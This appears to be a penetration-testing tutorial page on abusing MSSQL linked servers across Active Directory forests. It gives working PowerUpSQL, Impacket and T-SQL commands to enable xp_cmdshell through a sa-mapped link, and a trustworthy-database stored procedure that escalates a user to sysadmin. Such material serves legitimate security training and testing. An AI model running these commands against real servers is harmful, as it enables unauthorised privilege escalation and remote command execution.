Abusing SQL Linked Servers

Cross-forest MSSQL linked servers facilitate communication and data exchange between SQL Server instances located in different Active Directory forests. This configuration allows SQL Server instances in one forest to access data and resources hosted by SQL Server instances in another forest.

If we manage to get access to a SQL database with linked servers we can try to "hop" the trust by executing command on those and get a foothold in a new domain.

This scenario occurs when a domain user has elevated remote access to a server in another domain with sa (sysadmin) privileges.

To enumerate these privileges we can use PowerUpSQL

import-module .\PowerUpSQL.ps1
Get-SQLServerLink

<SNIP>

ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 1
DatabaseLinkName       : SQL02\SQLEXPRESS
DatabaseLinkLocation   : Remote
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             : domain\otter
RemoteLoginName        : sa
is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 1/4/2024 2:09:31 AM

We can see that the SQL02 database is linked to the SQL01 one, looking at the LocalLogin and RemoteLoginName attributes we discover that the otter user has sa privileges over the linked server. To get further confirmation we can use the sp_helplinkedsrvlogin to get more information about the remote logins

Get-SQLQuery  -Query "EXEC sp_helplinkedsrvlogin"

Alternatively we could use mssqlclient from the Impacket suite which has some handy commands to perform actions on linked servers directly.

mssqlclient.py otter@sql01.domain.com -windows-auth

<SNIP>

SQL (domain\otter  guest@master)> enum_links

SQL01\SQLEXPRESS   SQLNCLI            SQL Server    SQL01\SQLEXPRESS   NULL                 NULL           NULL      

SQL02\SQLEXPRESS   SQLNCLI            SQL Server    SQL02\SQLEXPRESS   NULL                 NULL           NULL      

Linked Server      Local Login           Is Self Mapping   Remote Login   
----------------   -------------------   ---------------   ------------   
SQL02\SQLEXPRESS   domain\otter                        0   sa             

As sa we can, for example, enable xp_cmdshell to execute commands from the server; this can be done from mssqlclient or Windows clients like SSMS or heidiSQL

SQL (domain\otter  guest@master)> use_link "SQL02\SQLEXPRESS"
SQL >"SQL02\SQLEXPRESS" (sa  dbo@master)> enable_xp_cmdshell
SQL >"SQL02\SQLEXPRESS" (sa  dbo@master)> xp_cmdshell "whoami"
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "SQL02\SQLEXPRESS"
EXECUTE('xp_cmdshell "whoami"') AT "SQL02\SQLEXPRESS"

Trustworthy Databases

If a user within our domain hasn't been granted remote login permissions as a sysadmin, but instead has been provided public privileges as a local SQL User in SQL02 (which is part of the other domain), we can pursue a strategy to enumerate trusted databases on the targeted linked server. Our objective would be to determine if the user holds the db_owner role for any trusted database, if that's the case we can create a stored procedure to enable xp_cmdshell, ensuring it executes under the context of the OWNER, which typically would be the sa user.

Just like before we'll enumerate the linked databases

Get-SQLServerLink

<SNIP>

ComputerName           : SQL01
Instance               : SQL01
DatabaseLinkId         : 1
DatabaseLinkName       : SQL02\SQLEXPRESS
DatabaseLinkLocation   : Remote
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             :
RemoteLoginName        :
is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 1/4/2024 2:09:31 AM

Here the LocalLogin and RemoteLoginName fields are empty, this means that the domain user we're executing the command with doesn't have sa permissions; we can still retrieve the login ID of the domain user on the linked server using

select * from openquery("SQL02\SQLEXPRESS",'select SUSER_NAME()')
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''sysadmin'')')
select * from openquery("SQL02\SQLEXPRESS",'select IS_SRVROLEMEMBER(''public'')')

# list all DBs
select * from openquery("SQL02\SQLEXPRESS",'select name FROM master.dbo.sysdatabases')
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_logins
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_users

Next, we must ascertain whether any of the databases enumerated possess trustworthiness enabled to identify if any of the enumerated databases have is_trustworthy_on enabled.

select * from openquery("SQL02\SQLEXPRESS",'SELECT a.name,b.is_trustworthy_on FROM master..sysdatabases as a INNER JOIN sys.databases as b ON a.name=b.name;')
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> enum_db

Once we identify one or more databases we have to check if our user has db_owner role.

EXEC ('sp_helpuser') AT "SQL02\SQLEXPRESS"

The following query checks whether the owner of the database is also sysadmin

select * from openquery("SQL02\SQLEXPRESS",'SELECT name as database_name , SUSER_NAME(owner_sid) AS owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;')
SQL >"SQL02\SQLEXPRESS" (otter  otter@master)> SELECT name as database_name, SUSER_NAME(owner_sid) AS owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases;

To abuse this configuration we'll create a stored procedure to escalate our privileges. First we need to check if the IS_RPC_OUT_ENABLED option is enabled, this enables the SQL server to make outbound calls to other servers using RPC.

select is_rpc_out_enabled from sys.servers where name='SQL02\SQLEXPRESS'

If the feature is enabled we can execute the following query

EXEC ('CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember ''owner_of_db'',''sysadmin''') AT "SQL02\SQLEXPRESS"

and then execute the procedure

EXEC ('sp_escalate;SELECT IS_SRVROLEMEMBER(''sysadmin'');SELECT SUSER_NAME()') AT "SQL02\SQLEXPRESS"

We can do the same from linux

SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> CREATE PROCEDURE sp_escalate WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember 'owner_of_db','sysadmin'
SQL >"SQL02\SQLEXPRESS" (otter otter@msdb)> EXEC sp_escalate

From this point on we're sysadmin and resume with the standard exploitation by enabling xp_cmdshell and getting command execution on the server.

Last updated